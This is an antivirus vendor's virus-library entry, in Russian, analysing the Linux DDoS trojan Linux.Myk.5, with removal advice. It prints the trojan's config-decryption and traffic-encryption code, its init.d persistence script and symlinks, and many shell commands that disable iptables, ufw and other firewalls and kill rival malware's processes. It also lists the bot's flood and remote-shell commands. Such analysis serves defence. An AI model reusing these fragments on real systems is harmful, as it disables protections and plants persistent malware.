Защити созданное

Другие наши ресурсы

  • free.drweb.kz — бесплатные утилиты, плагины, информеры
  • av-desk.com — интернет-сервис для поставщиков услуг Dr.Web AV-Desk
  • curenet.drweb.kz — сетевая лечащая утилита Dr.Web CureNet!
Закрыть

Библиотека
Моя библиотека

Чтобы добавить ресурс в библиотеку, войдите в аккаунт.

+ Добавить в библиотеку

Ресурсов: -

Последний: -

Моя библиотека

Поддержка
Круглосуточная поддержка | Правила обращения

Позвоните

Глобальная поддержка:
+7 (495) 789-45-86

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Глобальная поддержка:
+7 (495) 789-45-86

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Linux.Myk.5

Добавлен в вирусную базу Dr.Web: 2015-03-27

Описание добавлено:

Троянец, предназначенный для организации DDoS-атак, разработан для операционных систем семейства Linux китайскими вирусописателями. Одной из отличительных особенностей является способность к отключению брандмауэра. Конфигурационный файл троянца обфусцирован, при этом алгоритм деобфускации выглядит следующим образом:

def decrypt(data):
    out = array('B')
    for i in range(len(data)):
        if ((data[i] > 0x20) and (data[i] != 0x7F)):
            if (i % 3 == 1):
                out.append(data[i]-1)
            else:
                out.append(data[i]+1)
    return out

Конфигурационный файл содержит:

  1. адрес управляющего сервера;
  2. порт управляющего сервера;
  3. имя файла для установки;
  4. путь для установки.

Расшифровав конфигурационный файл, троянец проверяет наличие в системе собственного запущенного процесса, и в случае его обнаружения завершает свою работу. В процессе установки создает файл "/etc/init.d/%proc_name%", где имя файла, под которым он устанавливается в систему, берется из конфигурационного файла. В файл записываются следующие данные:

#!/bin/bash\n# chkconfig: 2345 77 37\n# description: Open%proc_name% server daemon\nsetsid 
%install_path% &\nexit\n

где %proc_name% и %install_path% - соответствующие параметры из конфигурационного файла.

Далее копирует себя по указанному в конфигурационном файле пути и запускает установленную копию, после чего удаляет исходный файл.

В завершение установки создает симлинки и запускает службу:

ln -s /etc/init.d/%proc_name% /etc/rc2.d/S77%proc_name%
ln -s /etc/init.d/%proc_name% /etc/rc3.d/S77%proc_name%
ln -s /etc/init.d/%proc_name% /etc/rc4.d/S77%proc_name%
ln -s /etc/init.d/%proc_name% /etc/rc5.d/S77%proc_name%
service %proc_name% start
/etc/init.d/%proc_name%

Запустившись в инфицированной системе, троянец инициирует отдельный процесс, который отслеживает работоспособность своей копии, запущенной из директории, в которую он должен был установиться. Если процесс обнаружить не удается, троянец запускает его заново.

Раз в 1000 секунд вредоносная программа выполняет следующие действия с целью отключения брандмауэра и для завершения процессов других DDoS-троянцев:

system("chkconfig --level 0123456 iptables off > /dev/null");
system("chkconfig --level 0123456 ip6tables off > /dev/null");
system("systemctl stop iptables.service > /dev/null");
system("service iptables stop > /dev/null");
system("/etc/init.d/iptables stop > /dev/null");
system("reSuSEfirewall2 stop > /dev/null");
system("SuSEfirewall2 stop > /dev/null");
system("service ebtables stop > /dev/null");
system("/etc/init.d/ebtables stop > /dev/null");
system("ufw disable > /dev/null");
system("netstat -anp | grep \":6009\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":60003\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":8092\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":8991\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":10991\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":10992\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":10993\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":3040\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":37368\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":10771\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":34921\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":7600\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":199099\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":19009\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":1818\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("netstat -anp | grep \":57707\" |awk '{print $NF}' |cut -d \"/\" -f 1 | xargs kill -9 >
 /dev/null ;free -m > /dev/null");
sleep(10);
system("rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; 
rm -f /boot/.IptabLex ; rm -f /usr/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; 
rm -f /usr/.IptabLex");
system("netstat -anp | grep \"IptabLes\" |awk '{print $NF}' |cut -d \"/\" -f 1 | 
xargs kill -9 > /dev/null ;free -m > /dev/null");
system("netstat -anp | grep \"IptabLex\" |awk '{print $NF}' |cut -d \"/\" -f 1 | 
xargs kill -9 > /dev/null ;free -m > /dev/null");

Далее троянец запускает два процесса, один из которых отправляет злоумышленникам данные о загрузке CPU, а второй — ожидает входящие команды от управляющего сервера. Первым пакетом троянец отправляет злоумышленникам информацию об инфицированной системе:

#pragma pack(push,1)
struct st_online
{
  char gap[64]; //0x00
  _BYTE cpuinfo[128];  
  char meminfo[32];
  char osver[32];
  char version[32]; //"LZ32"
  _DWORD dword120; //0x00
  _DWORD bIsStopDDOS;
};
#pragma pack(pop)

Все данные, передаваемые от управляющего сервера троянцу, транслируются без шифрования, в то время как исходящий трафик шифруется:

int __cdecl EnBuffer(_BYTE *data, int size, unsigned __int8 key)
{
  int result; // eax@3
  char v4; // [sp+13h] [bp-9h]@1
  int i; // [sp+14h] [bp-8h]@1
  v4 = key % 254 + 1;
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= size )
      break;
    data[i] ^= v4;
    data[i] += v4;
  }
  return result;
}

Вредоносная программа способна выполнять следующие команды:

  • начать DDoS-атаку (SYN Flood);
  • начать DDoS-атаку (UDP Flood);
  • начать DDoS-атаку (DNS Flood);
  • начать DDoS-атаку (HTTP Flood);
  • начать DDoS-атаку (TCP Flood);
  • остановить DDoS-атаку;
  • скачать и запустить файл;
  • удалить себя из системы;
  • выполнить обновление троянца;
  • запустить Remote Shell;
  • сохранить данные из команды в файл "/.v8cf" или отправить его содержимое на сервер.

Рекомендации по лечению


Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру